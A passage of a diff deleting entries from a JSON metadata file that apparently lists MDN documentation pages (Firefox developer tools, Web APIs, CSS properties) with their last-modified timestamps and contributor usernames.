- },
- "Tools/Debugger/How_to/Use_a_source_map": {
- "modified": "2020-09-11T09:41:20.649Z",
- "contributors": [
- "pedro-surf",
- "Anonymous"
- ]
- },
- "Tools/Debugger/Source_map_errors": {
- "modified": "2020-07-16T22:35:19.577Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Tools/Debugger/UI_Tour": {
- "modified": "2020-07-16T22:35:16.876Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Keyboard_shortcuts": {
- "modified": "2020-07-16T22:35:50.422Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Tools/Memory": {
- "modified": "2020-07-16T22:36:27.341Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Network_Monitor": {
- "modified": "2020-07-16T22:35:31.240Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Tools/Page_Inspector": {
- "modified": "2020-07-16T22:34:29.429Z",
- "contributors": [
- "wbamberg",
- "Anonymous",
- "DevAsh"
- ]
- },
- "Tools/Page_Inspector/How_to": {
- "modified": "2020-07-16T22:34:31.978Z",
- "contributors": [
- "wbamberg",
- "Anonymous",
- "sidgan"
- ]
- },
- "Tools/Page_Inspector/How_to/Edit_fonts": {
- "modified": "2020-07-16T22:34:39.170Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Page_Inspector/How_to/Examine_and_edit_CSS": {
- "modified": "2020-07-16T22:34:43.588Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model": {
- "modified": "2020-07-16T22:34:34.516Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Page_Inspector/How_to/Inspect_and_select_colors": {
- "modified": "2020-07-16T22:34:35.181Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Page_Inspector/How_to/Open_the_Inspector": {
- "modified": "2020-07-16T22:34:33.099Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Tools/Page_Inspector/How_to/Reposition_elements_in_the_page": {
- "modified": "2020-07-16T22:34:46.213Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Page_Inspector/How_to/Use_the_Inspector_API": {
- "modified": "2020-07-16T22:34:45.056Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Page_Inspector/How_to/Visualize_transforms": {
- "modified": "2020-07-16T22:34:39.722Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Page_Inspector/How_to/Work_with_animations": {
- "modified": "2020-07-16T22:34:37.073Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Page_Inspector/Keyboard_shortcuts": {
- "modified": "2020-07-16T22:34:52.351Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Page_Inspector/UI_Tour": {
- "modified": "2020-07-16T22:34:49.596Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Performance": {
- "modified": "2020-07-16T22:36:13.622Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Tools/Performance/Call_Tree": {
- "modified": "2020-07-16T22:36:20.006Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Performance/Frame_rate": {
- "modified": "2020-07-16T22:36:19.201Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Performance/How_to": {
- "modified": "2020-07-16T22:36:21.955Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Tools/Performance/UI_Tour": {
- "modified": "2020-07-16T22:36:15.326Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Performance/Waterfall": {
- "modified": "2020-07-16T22:36:18.250Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Remote_Debugging": {
- "modified": "2020-07-16T22:35:37.988Z",
- "contributors": [
- "Anonymous",
- "wbamberg",
- "Joao_Silva27"
- ]
- },
- "Tools/Remote_Debugging/Debugging_Firefox_Desktop": {
- "modified": "2020-07-16T22:35:41.262Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Tools/Remote_Debugging/Thunderbird": {
- "modified": "2020-07-16T22:35:40.059Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Responsive_Design_Mode": {
- "modified": "2020-07-16T22:35:22.282Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Tools/Settings": {
- "modified": "2020-07-16T22:36:35.515Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Storage_Inspector": {
- "modified": "2020-07-16T22:36:10.303Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Style_Editor": {
- "modified": "2020-07-16T22:35:01.029Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Taking_screenshots": {
- "modified": "2020-07-16T22:36:38.620Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Tools_Toolbox": {
- "modified": "2020-07-16T22:35:28.091Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Web_Audio_Editor": {
- "modified": "2020-07-16T22:36:08.692Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Web_Console": {
- "modified": "2020-07-16T22:34:07.526Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Tools/Web_Console/Console_messages": {
- "modified": "2020-07-16T22:34:16.005Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "Tools/Web_Console/Helpers": {
- "modified": "2020-07-16T22:34:13.111Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Tools/Web_Console/Keyboard_shortcuts": {
- "modified": "2020-07-16T22:34:23.988Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Tools/Web_Console/Rich_output": {
- "modified": "2020-07-16T22:34:20.453Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Tools/Web_Console/Split_console": {
- "modified": "2020-07-16T22:34:21.158Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Tools/Web_Console/The_command_line_interpreter": {
- "modified": "2020-07-16T22:34:19.541Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Tools/Web_Console/UI_Tour": {
- "modified": "2020-07-16T22:34:17.467Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Tools/about:debugging": {
- "modified": "2020-07-16T22:36:33.106Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "Web": {
- "modified": "2020-05-03T13:08:13.142Z",
- "contributors": [
- "Anonymous",
- "polonia",
- "didi9999",
- "joao-neves95",
- "carlosrainhaaraujo",
- "ethertank"
- ]
- },
- "Web/API": {
- "modified": "2019-03-23T22:39:25.827Z",
- "contributors": [
- "Anonymous",
- "teoli",
- "carlosrainhaaraujo"
- ]
- },
- "Web/API/Ambient_Light_Events": {
- "modified": "2020-10-15T22:07:41.555Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Animation": {
- "modified": "2020-10-15T22:09:54.586Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/AudioNode": {
- "modified": "2019-03-23T22:12:47.243Z",
- "contributors": [
- "trusktr"
- ]
- },
- "Web/API/Battery_Status_API": {
- "modified": "2019-03-18T21:29:01.750Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Blob": {
- "modified": "2020-10-15T22:32:41.617Z",
- "contributors": [
- "Yayure"
- ]
- },
- "Web/API/Blob/Blob": {
- "modified": "2020-11-16T10:19:01.877Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/Blob/size": {
- "modified": "2020-10-15T22:32:50.862Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/Blob/type": {
- "modified": "2020-10-15T22:33:10.637Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/Canvas_API": {
- "modified": "2019-03-23T22:01:56.072Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Canvas_API/Tutorial": {
- "modified": "2019-03-18T21:24:18.272Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Client": {
- "modified": "2020-10-15T22:03:06.133Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/CloseEvent": {
- "modified": "2020-10-15T22:32:54.165Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/CloseEvent/CloseEvent": {
- "modified": "2020-10-15T22:32:51.831Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/DOMString": {
- "modified": "2020-08-12T17:28:52.261Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/Document": {
- "modified": "2019-07-02T18:26:33.145Z",
- "contributors": [
- "Anonymous",
- "chrisdavidmills"
- ]
- },
- "Web/API/Document/alinkColor": {
- "modified": "2019-03-24T00:04:44.971Z",
- "contributors": [
- "teoli",
- "italo"
- ]
- },
- "Web/API/Document/bgColor": {
- "modified": "2019-03-24T00:04:41.203Z",
- "contributors": [
- "teoli",
- "italo"
- ]
- },
- "Web/API/Document/cookie": {
- "modified": "2019-03-19T14:20:57.798Z",
- "contributors": [
- "lucasrenod",
- "SphinxKnight",
- "gadelhas",
- "teoli",
- "italo"
- ]
- },
- "Web/API/Document/dir": {
- "modified": "2019-03-23T23:22:09.179Z",
- "contributors": [
- "khalid32",
- "carlosrainhaaraujo"
- ]
- },
- "Web/API/Document/getElementsByClassName": {
- "modified": "2019-12-02T03:58:42.536Z",
- "contributors": [
- "jestevespereira",
- "khalid32",
- "teoli",
- "Leandro Mercês Xavier",
- "Verruckt"
- ]
- },
- "Web/API/Document/querySelector": {
- "modified": "2020-10-15T22:32:00.428Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/Document/visibilitychange_event": {
- "modified": "2019-04-08T07:39:14.855Z",
- "contributors": [
- "irenesmith",
- "Anonymous"
- ]
- },
- "Web/API/Document_Object_Model": {
- "modified": "2019-03-23T23:25:55.220Z",
- "contributors": [
- "Anonymous",
- "Brettz9"
- ]
- },
- "Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core": {
- "modified": "2019-12-13T21:06:18.400Z",
- "contributors": [
- "wbamberg",
- "Anonymous",
- "ethertank",
- "fferracioli"
- ]
- },
- "Web/API/Element": {
- "modified": "2020-10-15T21:16:02.585Z",
- "contributors": [
- "Anonymous",
- "MauroBonucci",
- "khalid32",
- "Leandro Mercês Xavier",
- "Davis.peixoto",
- "Codigo13"
- ]
- },
- "Web/API/Element/clientLeft": {
- "modified": "2019-03-23T23:49:26.792Z",
- "contributors": [
- "khalid32",
- "teoli",
- "Leandro Mercês Xavier",
- "Verruckt"
- ]
- },
- "Web/API/Element/clientTop": {
- "modified": "2019-03-23T23:49:30.994Z",
- "contributors": [
- "AshfaqHossain",
- "teoli",
- "Leandro Mercês Xavier",
- "Verruckt"
- ]
- },
- "Web/API/File": {
- "modified": "2020-10-15T22:32:24.351Z",
- "contributors": [
- "Yayure"
- ]
- },
- "Web/API/File/File": {
- "modified": "2020-10-15T22:33:11.221Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/File/fileName": {
- "modified": "2020-08-08T18:37:05.171Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/File/fileSize": {
- "modified": "2020-08-08T18:32:45.995Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/File/getAsBinary": {
- "modified": "2020-08-11T04:16:46.870Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/File/getAsDataURL": {
- "modified": "2020-08-08T18:57:17.906Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/File/getAsText": {
- "modified": "2020-08-11T05:01:57.694Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/File/lastModified": {
- "modified": "2020-10-17T08:26:52.375Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/File/lastModifiedDate": {
- "modified": "2020-10-15T22:32:46.653Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/File/mozFullPath": {
- "modified": "2020-08-08T18:43:12.882Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/File/name": {
- "modified": "2020-10-15T22:32:23.452Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/File/type": {
- "modified": "2020-10-15T22:32:40.925Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/File/webkitRelativePath": {
- "modified": "2020-11-17T19:01:45.948Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/FileReader": {
- "modified": "2019-03-18T21:16:40.698Z",
- "contributors": [
- "Sheppy"
- ]
- },
- "Web/API/FileReader/abort": {
- "modified": "2020-10-15T22:32:42.433Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/FileReader/error": {
- "modified": "2020-10-15T22:32:24.839Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/FileReader/readAsArrayBuffer": {
- "modified": "2020-10-15T22:33:15.086Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/FileReader/readAsBinaryString": {
- "modified": "2020-10-15T21:37:25.343Z",
- "contributors": [
- "joaonunomota",
- "DouglasValdo"
- ]
- },
- "Web/API/FileReader/readAsDataURL": {
- "modified": "2020-10-15T22:34:36.565Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/FileReader/readAsText": {
- "modified": "2020-10-15T22:34:36.289Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/FileReader/readyState": {
- "modified": "2020-11-15T12:35:45.700Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/FileReader/result": {
- "modified": "2020-10-15T22:33:14.048Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/FileSystem": {
- "modified": "2020-10-15T21:46:44.138Z",
- "contributors": [
- "joaonunomota",
- "Anonymous"
- ]
- },
- "Web/API/File_and_Directory_Entries_API": {
- "modified": "2019-03-18T21:46:51.385Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Geolocation": {
- "modified": "2019-03-23T22:01:56.989Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Geolocation_API": {
- "modified": "2020-10-15T21:59:09.308Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/MathMLElement": {
- "modified": "2020-10-15T22:33:03.137Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/MediaDevices": {
- "modified": "2019-03-23T22:01:16.705Z",
- "contributors": [
- "jpmedley"
- ]
- },
- "Web/API/Media_Streams_API": {
- "modified": "2019-03-23T22:12:44.463Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/MessageEvent": {
- "modified": "2020-10-15T22:32:51.894Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/Metadata": {
- "modified": "2019-03-18T21:46:51.094Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/NavigatorOnLine": {
- "modified": "2019-03-23T22:01:59.308Z",
- "contributors": [
- "chrisdavidmills"
- ]
- },
- "Web/API/NavigatorOnLine/Online_and_offline_events": {
- "modified": "2019-03-23T23:49:32.329Z",
- "contributors": [
- "SphinxKnight",
- "chrisdavidmills",
- "Leandro Mercês Xavier",
- "Roli",
- "Verruckt"
- ]
- },
- "Web/API/Node": {
- "modified": "2019-03-23T23:22:11.442Z",
- "contributors": [
- "khalid32",
- "carlosrainhaaraujo"
- ]
- },
- "Web/API/Node/appendChild": {
- "modified": "2019-03-23T23:43:33.351Z",
- "contributors": [
- "khalid32",
- "teoli",
- "Leandro Mercês Xavier",
- "Wingedx"
- ]
- },
- "Web/API/Node/cloneNode": {
- "modified": "2019-09-30T14:07:35.240Z",
- "contributors": [
- "semisse",
- "SphinxKnight",
- "guerreirogabriel",
- "Diogok",
- "Glauco.basilio",
- "Codigo13",
- "Leandro Mercês Xavier"
- ]
- },
- "Web/API/Node/insertBefore": {
- "modified": "2019-03-23T23:46:00.401Z",
- "contributors": [
- "jsx",
- "Codigo13"
- ]
- },
- "Web/API/Notifications_API": {
- "modified": "2019-03-23T22:42:31.459Z",
- "contributors": [
- "Sebastianz"
- ]
- },
- "Web/API/Notifications_API/Using_the_Notifications_API": {
- "modified": "2019-03-23T22:42:28.564Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Page_Visibility_API": {
- "modified": "2019-03-18T21:42:30.274Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Push_API": {
- "modified": "2019-03-18T21:38:04.203Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Selection": {
- "modified": "2019-03-24T00:02:03.808Z",
- "contributors": [
- "SphinxKnight",
- "danielwebsistemas"
- ]
- },
- "Web/API/Service_Worker_API": {
- "modified": "2019-10-08T09:27:10.284Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Service_Worker_API/Using_Service_Workers": {
- "modified": "2019-10-08T09:25:19.208Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/SharedWorker": {
- "modified": "2020-10-15T21:59:02.760Z",
- "contributors": [
- "joaonunomota",
- "Anonymous"
- ]
- },
- "Web/API/Storage_API": {
- "modified": "2020-10-15T22:08:44.199Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/URLSearchParams": {
- "modified": "2019-10-16T11:18:10.261Z",
- "contributors": [
- "NunoJSantos",
- "goldyteam"
- ]
- },
- "Web/API/WebGLRenderingContext": {
- "modified": "2020-10-15T21:59:21.576Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/WebGL_API": {
- "modified": "2020-10-15T21:46:44.276Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/WebGL_API/Constants": {
- "modified": "2019-03-23T22:01:30.802Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/WebGL_API/Data": {
- "modified": "2019-03-23T22:01:33.105Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/WebGL_API/Types": {
- "modified": "2019-03-23T22:01:33.867Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/WebGL_API/Using_Extensions": {
- "modified": "2019-03-23T22:01:32.555Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/WebRTC_API": {
- "modified": "2019-03-23T22:12:46.226Z",
- "contributors": [
- "Anonymous",
- "Gurigraphics"
- ]
- },
- "Web/API/WebRTC_API/Taking_still_photos": {
- "modified": "2019-03-23T22:12:45.154Z",
- "contributors": [
- "fscholz",
- "wbamberg",
- "Anonymous"
- ]
- },
- "Web/API/WebSocket": {
- "modified": "2020-10-15T22:32:53.586Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/WebSocket/WebSocket": {
- "modified": "2020-10-15T22:33:03.555Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/WebSockets_API": {
- "modified": "2020-10-15T22:32:45.764Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/WebSockets_API/Writing_WebSocket_client_applications": {
- "modified": "2020-08-11T17:49:59.287Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/WebSockets_API/Writing_WebSocket_server": {
- "modified": "2020-12-04T13:57:23.773Z",
- "contributors": [
- "peterbe",
- "joaonunomota"
- ]
- },
- "Web/API/WebSockets_API/Writing_WebSocket_servers": {
- "modified": "2020-09-18T06:53:14.308Z",
- "contributors": [
- "blunderous",
- "joaonunomota"
- ]
- },
- "Web/API/WebSockets_API/Writing_a_WebSocket_server_in_Java": {
- "modified": "2020-08-24T20:03:27.920Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/API/Web_Audio_API": {
- "modified": "2019-03-23T22:12:41.433Z",
- "contributors": [
- "Anonymous",
- "erikadoyle"
- ]
- },
- "Web/API/Web_Audio_API/Using_Web_Audio_API": {
- "modified": "2019-03-23T22:12:48.158Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Web_Authentication_API": {
- "modified": "2020-10-15T22:03:06.934Z",
- "contributors": [
- "fscholz",
- "Anonymous"
- ]
- },
- "Web/API/Web_Storage_API": {
- "modified": "2019-03-24T00:00:51.877Z",
- "contributors": [
- "khalid32",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Web/API/Web_Workers_API": {
- "modified": "2019-03-23T22:02:18.370Z",
- "contributors": [
- "VsevolodGolovanov"
- ]
- },
- "Web/API/Web_Workers_API/Functions_and_classes_available_to_workers": {
- "modified": "2019-03-23T22:02:20.388Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Web_Workers_API/Using_web_workers": {
- "modified": "2019-03-23T22:02:15.177Z",
- "contributors": [
- "allanfoppa",
- "Anonymous"
- ]
- },
- "Web/API/Window": {
- "modified": "2019-03-23T22:01:06.730Z",
- "contributors": [
- "Anonymous",
- "goeffthomas"
- ]
- },
- "Web/API/Window/console": {
- "modified": "2019-03-18T21:44:07.205Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Window/open": {
- "modified": "2019-03-23T22:01:10.139Z",
- "contributors": [
- "SphinxKnight",
- "Anonymous"
- ]
- },
- "Web/API/Window/postMessage": {
- "modified": "2019-06-04T14:57:56.992Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Window/sidebar": {
- "modified": "2019-03-18T21:37:22.693Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/Worker": {
- "modified": "2019-03-23T22:02:29.683Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/API/XMLHttpRequest": {
- "modified": "2020-10-15T21:59:27.066Z",
- "contributors": [
- "fscholz",
- "Anonymous"
- ]
- },
- "Web/API/notification": {
- "modified": "2019-03-23T22:51:36.861Z",
- "contributors": [
- "Anonymous",
- "Japroriple"
- ]
- },
- "Web/Accessibility": {
- "modified": "2019-09-09T14:20:12.758Z",
- "contributors": [
- "SphinxKnight",
- "Anonymous",
- "teoli",
- "Verruckt",
- "Kayalemao",
- "RuiMaciel",
- "Karla pa",
- "GrandeBuzina"
- ]
- },
- "Web/Accessibility/ARIA": {
- "modified": "2019-03-18T21:47:01.413Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/Accessibility/ARIA/ARIA_Techniques": {
- "modified": "2020-09-18T21:14:54.007Z",
- "contributors": [
- "Wind1808"
- ]
- },
- "Web/Accessibility/ARIA/ARIA_Techniques/Using_the_status_role": {
- "modified": "2020-09-19T05:54:31.819Z",
- "contributors": [
- "Painatalman"
- ]
- },
- "Web/CSS": {
- "modified": "2020-06-10T07:53:42.003Z",
- "contributors": [
- "joaonunomota",
- "SphinxKnight",
- "Anonymous",
- "Fernando-SilvaBR",
- "albertocastro",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier",
- "Takenbot",
- "RuiMaciel"
- ]
- },
- "Web/CSS/::after": {
- "modified": "2019-03-24T00:00:16.761Z",
- "contributors": [
- "teoli",
- "Verruckt",
- "Luis Henrique Sousa"
- ]
- },
- "Web/CSS/::before": {
- "modified": "2019-03-24T00:00:19.264Z",
- "contributors": [
- "teoli",
- "Verruckt",
- "Luis Henrique Sousa"
- ]
- },
- "Web/CSS/@font-face": {
- "modified": "2019-03-23T23:13:15.857Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Web/CSS/@import": {
- "modified": "2019-03-23T23:47:07.977Z",
- "contributors": [
- "Anonymous",
- "teoli",
- "Verruckt",
- "Luis Henrique Sousa"
- ]
- },
- "Web/CSS/@media": {
- "modified": "2020-04-25T11:58:21.640Z",
- "contributors": [
- "myspeleo",
- "diogo-panaca",
- "Anonymous",
- "teoli",
- "Verruckt",
- "Luis Henrique Sousa"
- ]
- },
- "Web/CSS/Alternative_style_sheets": {
- "modified": "2019-03-23T23:53:49.046Z",
- "contributors": [
- "teoli",
- "FelipeMorais"
- ]
- },
- "Web/CSS/At-rule": {
- "modified": "2019-03-23T22:24:56.828Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/CSS_Backgrounds_and_Borders": {
- "modified": "2019-03-23T22:44:16.974Z",
- "contributors": [
- "teoli"
- ]
- },
- "Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds": {
- "modified": "2019-03-24T00:04:47.389Z",
- "contributors": [
- "Anonymous",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/CSS_Box_Model": {
- "modified": "2019-03-23T22:12:41.880Z",
- "contributors": [
- "Sebastianz"
- ]
- },
- "Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model": {
- "modified": "2019-03-23T22:12:42.813Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/CSS_Colors/Color_picker_tool": {
- "modified": "2019-04-28T14:53:13.655Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Web/CSS/CSS_Columns": {
- "modified": "2019-03-18T21:38:41.627Z",
- "contributors": [
- "mfluehr"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout": {
- "modified": "2019-03-18T21:44:02.737Z",
- "contributors": [
- "rachelandrew"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container": {
- "modified": "2019-06-11T07:33:08.010Z",
- "contributors": [
- "BIGBenfica9",
- "Anonymous"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout/Ordering_Flex_Items": {
- "modified": "2019-07-22T03:58:30.968Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout/Relationship_of_Flexbox_to_Other_Layout_Methods": {
- "modified": "2019-03-18T21:43:58.441Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/CSS_Flexible_Box_Layout/Typical_Use_Cases_of_Flexbox": {
- "modified": "2019-03-18T21:43:55.771Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/CSS_Grid_Layout": {
- "modified": "2020-04-12T22:44:10.924Z",
- "contributors": [
- "carlosaffrc",
- "Anonymous"
- ]
- },
- "Web/CSS/CSS_Transforms/Using_CSS_transforms": {
- "modified": "2019-03-24T00:04:50.895Z",
- "contributors": [
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier",
- "Jürgen Jeka"
- ]
- },
- "Web/CSS/CSS_Types": {
- "modified": "2019-03-18T21:23:17.150Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/Media_Queries": {
- "modified": "2020-10-15T22:17:12.623Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Web/CSS/Media_Queries/Using_media_queries": {
- "modified": "2019-04-09T16:57:57.913Z",
- "contributors": [
- "diogo-panaca",
- "Anonymous",
- "Sebastianz",
- "mrstork",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Web/CSS/Paged_Media": {
- "modified": "2019-03-23T22:24:57.103Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/Pseudo-classes": {
- "modified": "2019-03-18T21:15:25.227Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/Pseudo-elements": {
- "modified": "2019-03-18T21:23:11.174Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/Reference": {
- "modified": "2020-07-20T13:36:56.218Z",
- "contributors": [
- "joaonunomota",
- "Anonymous",
- "teoli",
- "Moacir Bispo",
- "Verruckt"
- ]
- },
- "Web/CSS/Replaced_element": {
- "modified": "2019-03-23T22:32:04.311Z",
- "contributors": [
- "andrekutianski",
- "josketres"
- ]
- },
- "Web/CSS/Shorthand_properties": {
- "modified": "2019-03-18T21:44:05.610Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/CSS/background": {
- "modified": "2019-03-23T23:46:35.449Z",
- "contributors": [
- "SphinxKnight",
- "teoli",
- "Verruckt",
- "Luis Henrique Sousa"
- ]
- },
- "Web/CSS/background-attachment": {
- "modified": "2019-03-23T23:12:53.495Z",
- "contributors": [
- "SphinxKnight",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/background-color": {
- "modified": "2019-03-23T22:16:20.029Z",
- "contributors": [
- "SphinxKnight",
- "teoli",
- "Verruckt",
- "ethertank"
- ]
- },
- "Web/CSS/background-image": {
- "modified": "2019-03-23T23:47:07.090Z",
- "contributors": [
- "SphinxKnight",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/background-position": {
- "modified": "2019-03-23T23:47:05.241Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/background-repeat": {
- "modified": "2019-03-18T21:15:14.751Z",
- "contributors": [
- "SphinxKnight",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border": {
- "modified": "2019-01-16T15:59:54.146Z",
- "contributors": [
- "teoli",
- "Verruckt",
- "Luis Henrique Sousa"
- ]
- },
- "Web/CSS/border-bottom": {
- "modified": "2019-03-23T23:47:10.248Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-bottom-color": {
- "modified": "2019-03-23T23:47:06.644Z",
- "contributors": [
- "wbamberg",
- "teoli",
- "Verruckt"
- ]
- },
- "Web/CSS/border-bottom-style": {
- "modified": "2019-03-23T23:47:07.572Z",
- "contributors": [
- "wbamberg",
- "teoli",
